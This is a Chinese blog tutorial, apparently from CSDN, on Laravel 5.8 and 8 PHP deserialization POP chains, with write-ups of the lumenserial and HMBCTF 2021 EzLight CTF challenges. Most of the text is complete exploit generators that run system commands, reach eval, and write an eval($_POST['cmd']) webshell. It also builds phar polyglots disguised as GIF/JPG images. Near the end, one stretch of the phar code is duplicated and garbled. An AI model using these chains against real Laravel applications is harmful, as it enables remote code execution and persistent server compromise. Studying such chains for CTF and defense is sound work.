通过几道CTF题学习Laravel框架

Laravel5.8.x反序列化POP链

安装:其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {  
if(isset($_GET['c'])){  
$code = $_GET['c'];  
unserialize($code);  
}  
else{  
highlight_file(__FILE__);  
}  
return "Test laravel5.8 pop";  
});

然后在public目录起一个php服务就可以进行测试了

cd /public  
php -S 0.0.0.0:port  
/foo?c=

链一

链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()  
{  
$this->events->dispatch($this->event);  
}

这里的$this->events$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

public function dispatch($command)  
{  
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {  
return $this->dispatchToQueue($command);  
}  
return $this->dispatchNow($command);  
}

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)  
{  
return $command instanceof ShouldQueue;  
}

这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

headImg.action?news=158986a8-af00-4918-a559-fc3a3b4ae11a.png

满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

public function dispatchToQueue($command)  
{  
$connection = $command->connection ?? null;  
​  
$queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver$connection都是可控的,到这里就可以直接构造payload

rce
<?php  
namespace Illuminate\Broadcasting {  
class PendingBroadcast {  
protected $events;  
protected $event;  
public function __construct($events, $event) {  
$this->events = $events;  
$this->event = $event;  
}  
}  
class BroadcastEvent {  
public $connection;  
public function __construct($connection) {  
$this->connection = $connection;  
}  
}  
}  
namespace Illuminate\Bus {  
class Dispatcher {  
protected $queueResolver;  
public function __construct($queueResolver){  
$this->queueResolver = $queueResolver;  
}  
}  
}  
namespace {  
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');  
$b = new Illuminate\Bus\Dispatcher('system');  
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);  
print(urlencode(serialize($a)));  
}
eval执行

到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的systemban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader  
{  
public function load(MockDefinition $definition)  
{  
if (class_exists($definition->getClassName(), false)) {  
return;  
}  
​  
eval("?>" . $definition->getCode());  
}  
}

这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return

$definition变量是MockDefinition类,跟进一下

class MockDefinition  
{  
protected $config;  
protected $code;  
...  
public function getClassName()  
{  
return $this->config->getName();  
}  
public function getCode()  
{  
return $this->code;  
}  
}

这里$code$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration  
{  
...  
public function getName()  
{  
return $this->name;  
}  
...  
}

payload如下

<?php  
namespace Illuminate\Broadcasting{  
class PendingBroadcast{  
protected $events;  
protected $event;  
public function __construct($events, $event)  
{  
$this->event = $event;  
$this->events = $events;  
}  
}  
}  
namespace Illuminate\Broadcasting{  
class BroadcastEvent  
{  
public $connection;  
​  
public function __construct($connection)  
{  
$this->connection = $connection;  
}  
}  
}  
namespace Illuminate\Bus{  
class Dispatcher  
{  
protected $queueResolver;  
​  
public function __construct($queueResolver)  
{  
$this->queueResolver = $queueResolver;  
}  
}  
}  
namespace Mockery\Generator{  
class MockDefinition  
{  
protected $config;  
protected $code;  
​  
public function __construct(MockConfiguration $config)  
{  
$this->config = $config;  
$this->code = '<?php phpinfo();?>';  
}  
}  
}  
​  
namespace Mockery\Generator{  
class MockConfiguration  
{  
protected $name = "none class";  
}  
}  
​  
namespace Mockery\Loader{  
class EvalLoader  
{  
public function load(MockDefinition $definition)  
{  
​  
}  
}  
}  
namespace {  
$config = new \Mockery\Generator\MockConfiguration();  
$connection = new \Mockery\Generator\MockDefinition($config);  
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);  
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");  
$events = new \Illuminate\Bus\Dispatcher($queueResolver);  
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);  
echo urlencode(serialize($pendingBroadcast));  
}
利用跳板

如果说靶机禁用了system等函数,我们希望用file_put_contentsshell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option  
{  
...  
public function filter($callable)  
{  
return $this->option()->filter($callable);  
}  
...  
private function option()  
{  
if (null === $this->option) {  
/** @var mixed */  
$option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option

这里可以直接构造payload

<?php  
namespace Illuminate\Broadcasting {  
class PendingBroadcast {  
protected $events;  
protected $event;  
public function __construct($events, $event) {  
$this->events = $events;  
$this->event = $event;  
}  
}  
class BroadcastEvent {  
public $connection;  
public function __construct($connection) {  
$this->connection = $connection;  
}  
}  
}  
namespace Illuminate\Bus {  
class Dispatcher {  
protected $queueResolver;  
public function __construct($queueResolver){  
$this->queueResolver = $queueResolver;  
}  
}  
}  
namespace PhpOption{  
final class LazyOption{  
private $callback;  
private $arguments;  
public function __construct($callback, $arguments)  
{  
$this->callback = $callback;  
$this->arguments = $arguments;  
}  
}  
}  
namespace {  
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);  
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');  
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));  
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);  
print(urlencode(serialize($a)));  
}

链二

入口同样是

public function __destruct()  
{  
$this->events->dispatch($this->event);  
}

这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator implements ValidatorContract  
{  
...  
public function __call($method, $parameters)  
{  
$rule = Str::snake(substr($method, 8));  
​  
if (isset($this->extensions[$rule])) {  
return $this->callExtension($rule, $parameters);  
}

这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

跟踪进callExtension方法

protected function callExtension($rule, $parameters)  
{  
$callback = $this->extensions[$rule];  
​  
if (is_callable($callback)) {  
return call_user_func_array($callback, $parameters);

$callback$parameters可控,于是就可以构造payload

<?php  
namespace Illuminate\Broadcasting{  
class PendingBroadcast{  
protected $events;  
protected $event;  
​  
public function __construct($events, $event)  
{  
$this->events = $events;  
$this->event = $event;  
}  
}  
}  
​  
namespace Illuminate\Validation{  
class Validator{  
protected $extensions;  
public function __construct($extensions)  
{  
$this->extensions = $extensions;  
}  
}  
}  
​  
namespace{  
$b = new Illuminate\Validation\Validator(array(''=>'system'));  
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');  
echo urlencode(serialize($a));  
}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?php  
namespace Illuminate\Broadcasting {  
class PendingBroadcast {  
protected $events;  
protected $event;  
public function __construct($events, $event) {  
$this->events = $events;  
$this->event = $event;  
}  
}  
}  
​  
namespace Illuminate\Validation {  
class Validator {  
public $extensions;  
public function __construct($extensions){  
$this->extensions = $extensions;  
}  
}  
}  
​  
namespace PhpOption {  
class LazyOption {  
private $callback;  
private $arguments;  
public function __construct($callback, $arguments) {  
$this->callback = $callback;  
$this->arguments = $arguments;  
}  
}  
}  
​  
namespace {  
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);  
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));  
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');  
print(urlencode(serialize($a)));  
}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()  
{  
$this->events->dispatch($this->event);  
}

这里的$this->events$this->event可控

同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters)  
{  
return $this->__invoke()->{$method}(...$parameters);  
}  
​  
/**  
* Resolve the variable.  
*  
* @return mixed  
*/  
public function __invoke()  
{  
return call_user_func($this->callable);  
}

这里的_call会直接调用__invoke$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

<?php  
namespace Illuminate\Broadcasting {  
class PendingBroadcast {  
protected $events;  
protected $event;  
public function __construct($events, $event) {  
$this->events = $events;  
$this->event = $event;  
}  
}  
}  
namespace Illuminate\View {  
class InvokableComponentVariable {  
protected $callable;  
public function __construct($callable)  
{  
$this->callable = $callable;  
}  
}  
}  
​  
namespace {  
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');  
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);  
print(urlencode(serialize($a)));  
}

因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

CTF题目

lumenserial

lumenserial\routes\web.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');  
$router->post('/server/editor', 'EditorController@main');

再看到

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller  
{  
private function download($url)  
{  
...  
$content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage方法中的$sources变量

class EditorController extends Controller  
{  
...  
protected function doCatchimage(Request $request)  
{  
$sources = $request->input($this->config['catcherFieldName']);  
$rets = [];  
​  
if ($sources) {  
foreach ($sources as $url) {  
$rets[] = $this->download($url);  
}

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller  
{  
...  
public function main(Request $request)  
{  
$action = $request->query('action');  
​  
try {  
if (is_string($action) && method_exists($this, "do{$action}")) {  
return call_user_func([$this, "do{$action}"], $request);  
} else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");  
$phar = new \Phar("test.phar");//后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub  
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test");//添加要压缩的文件  
$phar->stopBuffering();

上传phar文件再用phar协议打即可

headImg.action?news=968e882f-1398-4eac-
ad72-9b18e8e37fe8.png

[HMBCTF 2021]EzLight

给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request)  
{  
...  
$files = array_unique((array) $request->post('file'));  
$urls = [];  
foreach ($files as $v) {  
$image = $this->fetchImageFile($v);

catchImage函数里面以post传给file参数再给到fetchImageFile$url

protected function fetchImageFile($url)  
{  
if (isWebp($data)) {  
$image = Image::make(imagecreatefromwebp($url));  
$extension = 'webp';  
} else {  
$image = Image::make($data);  
}

这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

headImg.action?news=1d3849c2-8ec7-455b-9731-0e1da60e6324.png

至此结束,这里可以phar反序列化了

用上面的链一即可

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        private $callback;
        private $arguments;
        public function __construct($callback, $arguments)
        {
            $this->callback = $callback;
            $this->arguments = $arguments;
        }
    }
}
namespace {
    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);
    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    print(urlencode(serialize($a)));

    @unlink("test.phar");
    $phar = new \Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub
    $phar->setMetadata($a);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
    rename('test.phar','test.jpg');
}

上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImagefile传参打就可以了

本文涉及相关实验:[PHP反序列化漏洞实验](https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=freebuf-
wemedia)(通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

ew \Phar(“test.phar”);//后缀名必须为phar
$phar->startBuffering();
$phar->setStub(‘GIF89a’.‘<?php __HALT_COMPILER();?>’);//设置stub
p h a r − > s e t M e t a d a t a ( phar->setMetadata( phar>setMetadata(a);//将自定义的meta-data存入manifest
$phar->addFromString(“test.txt”, “test”);//添加要压缩的文件
$phar->stopBuffering();
rename(‘test.phar’,‘test.jpg’);
}

上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImagefile传参打就可以了

本文涉及相关实验:[PHP反序列化漏洞实验](https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001&pk_campaign=freebuf-
wemedia)(通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值